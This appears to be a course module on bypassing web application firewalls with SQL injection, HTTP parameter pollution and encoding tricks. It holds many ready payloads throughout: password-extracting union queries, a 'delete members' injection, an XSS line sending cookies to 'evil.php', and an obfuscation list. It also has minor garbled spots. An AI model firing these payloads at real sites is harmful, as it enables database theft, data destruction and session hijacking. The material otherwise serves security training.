WAF Bypassing with SQL Injection
HTTP Parameter Pollution &
Encoding Techniques
HTTP Parameter Pollution is an attack where we have the
ability to override or add HTTP GET/POST parameters by
injecting string delimiters. HPP can be distinguished in two
categories, client-side and server-side, and the exploitation
of HPP can result in the following outcomes:
•Override existing hardcoded HTTP parameters
•Modify the application behaviors
•Access and potentially exploit uncontrollable variables
• Bypass input validation checkpoints and WAF rules
HTTP Parameter Pollution –
HPP
WAFs, which is the topic of interest, many times perform query string parsing before applying the filters to this
string. This may result in the execution of a payload that an HTTP request can carry. Some WAFs analyze only one
parameter from the string of the request, most of the times the first or the last, which may result in a bypass of the
WAF filters, and execution of the payload in the server.
Let’s examine the following HTTP Request from a user to the web application:
HttpRequest("http://server.com/servlet/actions","POST", "action=transfer&amount="+
amount +"&recipient="+ beneficiary);
Now, let’s change the request to see the response of the server:
http://website.com/page?amount=1000&recipient=Tom%26action%3dwithdraw
After this, the request executed in the server will be:
action=transfer&amount=1000&recipient=Tom&action=withdraw
This is a result of a WAF that didn’t correctly parse all the parameters of a request, and now the user can supply specially crafted parameters, like the “action=withdraw” in the example, and perform a malicious action in the server
side.
Encoding Techniques
In all the attacks we saw, and that we are going to see, a
way to bypass many restrictions is to encode our strings,
and there are many ways to do this. Encoding is useful, for
example, in HPP that we saw earlier, and we may trick a WAF that cannot normally be bypassed to allow us in if it
does not use decode schemes, or if it does not include encoded strings in its filter rules. The same applies to SQL
Injection and XSS attacks that we are going to see later in this course.
As you will see, there are many encoding types that may be supported from a different layer of the server. So, a request that we may make will pass from most of these layers, some of them will try to decode it. Our job here is to
find which decode method, or methods, the layer that we are attacking is using and try to use others, or double encode our string to be able to bypass the layer of our scope. Let’s examine some of the encoding methods.
URL Encoding (Hex Encoding)
URI standards permit URLs to contain only the printable characters in the US-ASCII charset. Also, some characters
are restricted because they have special meaning in the URL scheme or the HTTP Protocol. This scheme is mostly
used to encode problematic characters, like these with special meaning, so that they can be transported over HTTP
without any conflicts. This works by using the hex equivalent for certain characters, such as %27 for ‘ or %3c for <,
which we can understand by the % prefix, followed by each character 2 digit ASCII code in hexadecimal. Some characters that we may face are:
• %3d – =
• %25 – %
• %20 – Space
• %0a – New line
• %00 – Null byte
Let’s see an SQL example from module 1:
' union select password from mySQL.user limit 1 /*
This SQL query string, URL encoded, will be like this:
%27%20union%20select%20password%20from%20mySQL.user%20limit%201%20%2F*
We can easily encode and decode with this method with the following website:
http://meyerweb.com/eric/tools/dencoder/
Null Bytes
Another rather simple way of encoding is using a null byte (%00) prior to any characters that the WAF filter is blocking. For example, the SQL Query we used earlier will be:
%00' union select password from mySQL.user limit 1 /*
WAFs will commonly ignore everything after the null but pass the entire string to the web server where it is processed.
Inline Comments
Adding inline comments can help the string to bypass the WAFs filters and reach its target. This is mostly used in
SQL queries, where we can add comments in the form of /*SELECT*/ or /**/SELECT/**/. For example, the SQL
query used earlier, will be:
'/**/union/**/select/**/password/**/from/**/mySQL.user/**/limit/**/1
Or, if we want to step it up a bit, we can use ways like the following:
'/**/uni/**/on/**/sel/**/ect/**/password/**/from/**/mySQL.user/**/limit/**/1
Where we can separate SQL keywords with comments.
White Spaces
Dropping a space or adding spaces that won’t affect the SQL statement may be a good strategy in an attack to bypass WAF filters. For example:
'or 1 = 1'
This statement could be:
‘or '1'='1'
Or even adding a special character, like new line or tab that won’t change the SQL statement execution, can be effective.
Keyword Splitting
Here we can change the way we sent the SQL queries in an SQL attack to WAF by inserting a special character in
the middle of a keyword that will be removed by the WAF, and the query will be executed correctly in the final target. The previous example will be something like this:
' uni<on sel<ect password from mySQL.user limit 1 /*
It is similar to the comment way we saw earlier, but here if we determine a character that is blocked by the WAF, we
can use it for our advantage.
Character Encoding
Char() function in MySQL can be used to replace English char variables. For example, let’s take the following example that can be used for exploitation of the DVWA:
' UNION select table_schema,table_name FROM information_Schema.tables where table_schema = "dvwa" –
This statement with character encoding will be:
' UNION select table_schema,table_name FROM information_Schema.tables where table_schema =char(100,118,119,97) –
As you can see here, we replaced the “dvwa” with char(100,118,119,97) which is the MySQL char() function
that uses ASCII codes inside and we use it to inject into MySQL without using double quotes that many times gets
filtered by WAFs. Char() also works on almost all other databases but sometimes it can only hold one character at
a time, like for example char(0x##)+char(0x##)+…So if the one way does not work for us, we have to try another.
Chunked transfer encoding
In this type of encoding, we are sending the request we want in a series of chunks, or parts. This way can help us
split up malicious requests over multiple HTTP requests, so the WAF cannot block the malicious request. This can be done using the Transfer-Encoding HTTP Header in place of the Content-Length header. The transfer-encoding
header is used like this in an HTTP request:
Transfer-Encoding: <chunked | compress |deflate | gzip | identity>
Many times keywords themselves are blocked from the WAF. An encode way to bypass this filter is by replacing the
keywords we use with others, so once the WAF strips the keyword, our desired keyword will remain, and be executed in the next layer. Taking our SQL example:
' union selselectect password from mySQL.user limit 1 /*
Here is an example that the WAF is blocking the select keyword. Once the query passes and gets filtered, the middle select keyword will be deleted and the sel from the start and ect from the end will get merged and form a new
select keyword that will get executed in the server.
String Concatenation
With string concatenation, we can break up SQL keywords and bypass WAF filter rules. Concatenation syntax varies
based on the database engine. For example, in a MS SQL engine, the select 1 statement can be changed as below
by using concatenation:
EXEC('SEL' + 'ECT 1')
As we will see in our examples, this is an effective way to bypass WAFs.
Case Sensitivity
Many times, WAF filters will fail to filter a malicious keyword from a supplied query if the rules that it uses has case
sensitive keywords. For example, if the WAF can block the keyword select in lowercase and uppercase, but does
only these controls, supplying something like sElEcT will fail to be blocked, and will bypass the WAF. This applies
to XSS attack too, and it can be used like this:
<sCrItT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</ScRipt>
Double Encoding
As we said in the start of this section, there are many layers that may exist until our malicious code reaches its destination. Until now, we examined single ways to encode our strings, but what happens when more than one decode
takes place in the chain? The answer is simple, we encode more than one time.
Let’s take a scenario where the web server does URL decoding but WAF also does URL decoding for security purposes. Our SQL injection example this time will be:
%2527%2520union%2520select%2520password%2520from%2520mySQL.user%2520limit%25201%2520%25
2F*
This string is the same as in our URL Encoding example but it has been encoded one more time in the same way. In
this situation and when the WAF decodes this string, it will fail to block it, because it is still encoded and it cannot
find the malicious string. In the stage of the web server, the string will be decoded again, and executed correctly.
The double encoding way can be used in many situations and combinations. We have to fingerprint correctly the
server side and the WAF to be able to know what decodes take place and perform the corresponding encodings.
Bypassing WAF with SQL
Injection
Until now, most of our examples used SQL queries for
WAF Bypassing. This happens because the most common attack used in WAF bypassing is SQL Injection. But
let’s start with SQL itself. SQL (acronym for Structured
Query Language) is a query language used in the design
and management of databases. Most of the products used today are relational databases, like SQL Server, MySQL
and other. Databases have data stored inside a table-like structure that has rows and columns.
The queries that you may have seen many times in this course are strings that with the use of select statement retrieve data from the database in the call of the client. Except for select, there are some other statements that are
mostly used in SQL Injection, which are the following:
• INSERT Statement: INSERT statement is used to create a new row of data within a table. It is commonly
used when an application adds a new entry to an audit log, creates a new user account, or generates a new
order.
• UPDATE Statement: UPDATE statement is used to modify one or more existing rows of data within a table.
It is often used in functions where a user changes the value of data that already exists in the database.
• DELETE Statement: DELETE statement is used to delete one or more rows of data within a table of a database.
There is one more common aspect that is used widely in SQL injection attacks, the UNION operator. It is used to
combine the results of two or more SELECT statements into a single result. So, when a client application makes a query to retrieve some data from the server, the UNION operator can be used to add another SELECT statement
and have both select statements executed in the database. For example, let’s take the following query:
SELECT * FROM users WHERE fname=’Tom’
Here the query is called to return all the records from the table users that have the fname field equal to Tom. (The *
character is a wildcard in SQL and selects all the columns in a table) Now, the use of the UNION operator in this
query is pretty simple:
SELECT * FROM users WHERE fname=’Tom’ UNION SELECT password FROM users –‘
Here, the query does everything that it did earlier, and it adds in the results the records of the passwords row in the
users table. So, you can understand that by supplying this UNION operator on a vulnerable web application that already supplies a query to the database, it will add the query of our choice in this “equation”. Let’s now see what exactly is SQL Injection and how we can use it in WAF Bypassing.
SQL Injection
SQL Injection is a code injection attack where the attacker
supplies a malicious crafted query to the database with the
intention of data extraction from it. It is a really common
vulnerability, despite the fact that it is one of the older
ones. To see how this vulnerability works, imagine a search field in a website where we supply a names, and it returns info about that corresponding name. The database executes the following query:
SELECT * FROM users WHERE name=’tom’;
If this database is vulnerable and we supply a ‘ it will return an error because we will have the following results in the
query:
SELECT * FROM users WHERE name=’’’;
An example attack in this situation would be:
SELECT * FROM users WHERE name = 'tom' OR '1'='1' -- ';
Here we supplied tom’ OR ‘1’=’1’—which resulted in a logical expression that always results as True, because
1=1 every time, and with the or operator, we need only one of the two to be true for the query to return everything
in the users table. The double – symbol is added, so everything else after them is commented out and not executed.
Blind SQL Injection
Blind SQL Injection is the most common type of SQL injection, and its difference from the simple one is that the results of this type of injection are not visible to the attacker.
The page will not display the results as in the previous example but it will display them depending on the logical statement results that will occur from our injection. It is a difficult vulnerability to exploit because it needs time to test many things one by one, and most of them will be unsuccessful requests. Let’s take the previous example with the name search field. In a situation like this, which is the most
common one in a penetration test, the query happens completely on the server; we don’t know the names of the
database, table, or fields, nor the query string. In this situation, the simple 1=1 that we provided earlier, will give us
no result, and this is what a blind SQL injection does.
This time we need to supply something like this:
tom’ and 1=1—
As you can see, here it is needed for both of the Boolean expressions to be true, for tom to equal a record in the database and 1=1 to be true, which always happens. If this returns a result, it means that it is vulnerable to Blind SQL
Injection and we can continue to fingerprint the database.
A good example on how to continue would be
Tom’ AND substring(@@version, 1, 1)=5
The “substring(@@version, 1, 1)=5” part checks to see if the version of MySQL is version 5 (through the
“=5” check), and if it is running version 5 then the page will just load normally because SQL will run without a problem. And this is the way of blind sql injection. We have to supply questions to the database that if they are true, the
page that corresponds to the first part of the string that we supplied will load.
These types of attacks are tested many times by automated tools, like sqlmap, but be careful, because these types
of tools are really noisy and can result in numerous junk reports in the database you are testing, a thing that you
surely don’t want.
Finally, after the MySQL fingerprinting example we saw, there is another similar way to find and fingerprint an Oracle based database by submitting the following query in the database:
SELECT banner FROM v$version WHERE rownum=1
In situations like these, not only can we retrieve information about the database software, but the details about the
version are also returned, so there is no way to check for a specific version, but we can just supply the @@version in
the query for MySQL. If the underlying database is not up to date, new vectors of attack, such as buffer overflows,
could be explored.
It is also possible to exploit the vulnerability with the method of blind-SQL Injection by replacing SQL functions that
get to WAF filter rules with their synonyms. For example:
• substring() -> mid(), substr(), etc
• ascii() -> hex(), bin(), etc
• benchmark() -> sleep()
Let’s now see some examples of filter rule bypass on WAF, with SQL Injection.
WAF Filter Rules Bypass
with SQL Injection
As we said, filter rules are the main aspect of security of a
WAF, and we need to be able to bypass them if a WAF exists in front of a server we want to scan. Now, let’s say that
we are testing the http://website.com/?id=1 which has the
parameter ?id=1 and it seems vulnerable from our basic
steps. A first way to supply a query that gives us the filter rule is a simple one like:
/?id=1+union+(select+*+from+users)
Here the query is normal with no encoding, and WAF detects it immediately and blocks us. Now, there are many
ways to bypass this rules as we saw earlier, so let’s examine some examples:
/?id=(1)union(select(1),mid(hash,1,32)from(users))
In this situation, we replace the substring() function with mid(), which can have positive results, as many of the WAFs
filter only a small amount of functions.
/?id=1+union+(select'1',concat(login,hash)from+passwords)
Here, we concatenate our string with the concat() function, that may help us in situations that the WAF filters the
whole query. By concatenating it, we are sure that our query will not be blocked from this type of filter
/?id=(1)union(((((((select(*),hex(hash)from(passwords))))))))
Many WAFs filter only one layer of brackets, so an effective way of bypass is to add more layers that will trick the
WAF to think that there is nothing malicious inside the bracket.
Now let’s see some real world filter bypass examples for industry used WAFs.
PHPIDS - PHP Intrusion
Detection System
PHPIDS (PHP Intrusion Detection System) is an open
source PHP Web Application Intrusion Detection System.
Because of its nature, it is widely known and used, and you
can find it in many web servers. PHPIDS has some default
filter rules that you can find in its GitHub page. Now, let’s
perform our first attack in a system that uses a MySQL database:
/?id=1+union+select+user,password+from+mysql.user+where+user=1
Supplying this, the WAF blocks us, because as you can see, it is pretty straight forward that we are supplying an SQL
query. Let’s change this query to something like this:
/?id=1+union+select+user,password+from+mysql.user+limit+0,1
Here you can see that we changed the Where user=1 with the limit statement, which is used to retrieve records from
one or more tables in a database and limit the number of records returned based on a limit value. So, even not
knowing the rule, and changing the query like this, we now know one of the rules.
Continuing, let’s give a really simple but powerful query we saw earlier, the 1 OR 1=1.
/?id=1+OR+1=1
We can see here that the WAF blocks us, and it is normal as it is a pretty standard and well known malicious query.
But, its bypass is pretty easy too. We just have to change the numbers with their hex equivalents to be able to bypass the WAF and reach the target SQL database:
/?id=1+OR+0x50=0x50
Finally, in version 0.6.1.1 of PHPIDS that we are checking out, a bypass similar to the generic one we saw earlier
takes place, and if we replace the substring() function, with the mid() one, we can bypass the firewall.
Mod_Security
In mod_security’s 2.5.9 version, we have many filters that
can be bypassed. Two of the common ones that we saw
again until now are the substring – mid alteration and the
hex encoding of the 1=1 expression. We can also alternate
the and 1=2 expression with the following:
?id=1+and+5!=6
which will bypass the filter correctly. Also, this WAF is filtering the drop statement that we can change with this:
/?id=1;delete members
HPP Exploitation with SQL
Injection
We talked about HTTP Parameter Pollution in the start of
this module, and now that we have an idea of the SQL Injection attacks, let’s combine them to exploit HPP. We
have to start by saying that an HPP attack’s success depends on the environment of the application that we are
attacking. Now, the logic behind this attack is that we can separate a query into many parts by adding parameters.
For example:
http://website.com/?id=”queryquery1”&id=”queryquery2”
In the final destination, this query will be merged and get executed by the server if the web site has the HPP Vulnerability. This vulnerability will look something like this in the SQL request code that a web application performs:
SQL="select key from table where id="+Request.QueryString("id")
And it can be exploited by the logic we saw earlier:
/?id=1/**/union/*&id=*/select/*&id=*/tom/*&id=*/from/*&id=*/users
As you can understand, we used many &id parameters to concatenate the query, and we used SQL comments to
comment out these parameters in the final SQL server destination. With this technique, only the query is left in the
end to be executed. So, combining the code that the form executes and the query we supply in the parameter, we
have:
select key from table where
id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/usersLavakumarKuppan
HTTP Parameter
Fragmentation – HPF
HTTP Parameter fragmentation is similar to HPP but with
the addition that we are not using the same parameter
again and again. In HPF, we are attacking web pages that
have more than one parameter, and the SQL query we
are trying to inject gets fragmented into as many pieces
as the numbers of the available parameters. An example of the vulnerable code could be:
Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);
Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit
".$_GET['c']);
As you can see, this page produces a query with two parameters, a and b, and sends both of them to the server. By
supplying the following:
/?a=1+union+select+1,2/*
we are commenting out all the following query from after the injected one, and this request doesn’t allow anyone to
conduct the attack, because we can see in the vulnerable code that it has the AND operator, so it needs both the
parameters.
To exploit code like this, we can change our previous query to something like this:
/?a=1+union/*&b=*/select+1,2
Here you can see that we are separating the query in both of the parameters, so the code gets True, as both the
parameters exist, and we add the SQL comment in the right places, so the parameters will be commented out in
the end, and the query will be merged into one piece. The final query from the first vulnerable code, will be:
select * from table where a=1 union/* and b=*/select 1,2
Another example with more than two parameters could be:
/?a=1+union/*&b=*/select+1,password/*&c=*/from+users—
The same applies here, with three part fragmentation, because we have three parameters. The final SQL parameter
in this situation, will be:
select * from table where a=1 union/* and b=*/select 1,pass/*limit */from users--
Bypassing WAFs with SQL
Injection Normalization
Many times in the previous examples, we talked about
normalization without really mentioning it. Normalization
is the process of adding comments and other symbols
that the WAF strips inside keywords that the WAF also
strips, so the final result will be our desired query that we
want to be executed in the database. It is a really good WAF bypassing method, but we have to know some of the
filters that the WAF uses for the attack to success.
In the example we saw earlier that didn’t let anyone conduct an attack, due to filtering from the WAF
(/?a=1+union+select+1,2/*), we can add the following:
/?a=1/*union*/union/*select*/select+1,2/*
If there is a corresponding vulnerability here in the WAF, this request will be successfully performed in the server. After being processed by WAF, the request will become:
?a=1/*uniX on*/union/*sel X ect*/select+1,2/*
This example works in case of cleaning of dangerous traffic by the WAF, and not in case of blocking the entire request or the attack source. Similarly, the following request doesn’t allow anyone to perform this query:
/?id=1+union+select+1,2,3/*
But if we change it to something like this, and the WAF is vulnerable to normalization techniques:
/?id=1+un/**/ion+sel/**/ect+1,2,3—
This query will be executed completely in the SQL database, and it will look something like this:
SELECT * from table where id =1 union select 1,2,3—
This example works in case of excessive cleaning of incoming data (replacement of a regular expression with the
empty string). As you can understand, instead of the /**/ comment symbol, any symbol sequence that WAF cuts
off can be used (e.g., #####, %00), but we have to know, and we can find it out by fingerprinting the filter rules of
the WAF.
Buffer Overflow + SQL
Injection = Bypass WAF
For those who don’t know, “a buffer overflow, or buffer
overrun, is an anomaly where a program, while writing
data to a buffer, overruns the buffer’s boundary and overwrites adjacent memory locations.” We can exploit this
vulnerability that exists in some WAFs that have special coding background.
For example, many firewalls are written in C or C++, which we can crash with a buffer overflow, because some variables of the program can take only a small amount of memory, and we can bypass it if there is no protection, or bad
coding.
Let’s take again a website, and supply the following link:
http://www.website.com/?id=-15+and+(select 1)=(Select 0xAA[..(here we add about 1000
“A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2
With this method, the WAF firstly crashes and then the SQL query gets to the server and executes. We can also test
if the firewall crashed, by supplying:
http://www.website.com/ id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%
0A/*nnaa*/+1,2
If it returns a 500 HTTP response, it means that we can exploit this WAF with buffer overflow.
WAF Bypass with SQL
Injection Examples
Let’s close the section of SQL Injection WAF Bypass with
some practical examples. As we saw in the start, one of
the most common ways of bypass is with encoding. But
we just saw encoding of a whole keyword, or even double encoding. If we see that none of this works, we can
also advance it a bit, and only encode a part of a keyword, and this is a way that not many manufacturers have in
mind. So, in this situation, we replace some characters with their HEX(URL-encoded) equivalents. For example:
http://www.website.com/?id=15 /*!u%6eion*/ /*!se%6cect*/ 1,2
So now the WAF will have the original and the hex encoded keyword in the filter rules, but it is really difficult to have
all the possible alterations inside, so trying a different character each time can give us the golden ticket. As you can
see here, we just supplying union select, with some characters encoded to HEX.
Next, many WAFs try to offer protection by adding some prototype or strange functions. Let’s take a firewall, for example, that replaces the apostrophe symbol (‘) with whitespaces. Here we can add apostrophes inside the keywords we want, to separate them and not get recognized by the WAF, as we saw in the keyword splitting section.
http://www.website.com/?id=-15+uni’on+sel’ect+1,2
The apostrophe is a commonly blocked character by WAFs, because it usually causes problems with SQL databases.
Now, in this example, if the WAF filters and removes the apostrophe, the resulting query will give 15 union select
1,2, and this is a pretty easy bypass that happens really often. Some more examples that can give you ideas about
how you can use encoding cleverly to bypass WAFs can be seen below:
/*--*/union/*--*/select/*--*/
REVERSE(noinu)+REVERSE(tceles)
+UnIOn%0d%0aSeleCt%0d%0a
/%2A%2A/union/%2A%2A/select/%2A%2A/
%55nion(%53elect)
union%20distinct%20select
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
As you can see, the possibilities are endless, and WAF bypassing, when we are heading for SQL Injection, stops only
by our imagination. There are many things we can do, many encoding schemes we can combine, and all these get
multiplied when we have deep knowledge of SQL Injection and queries and we can make many variations of the
same query.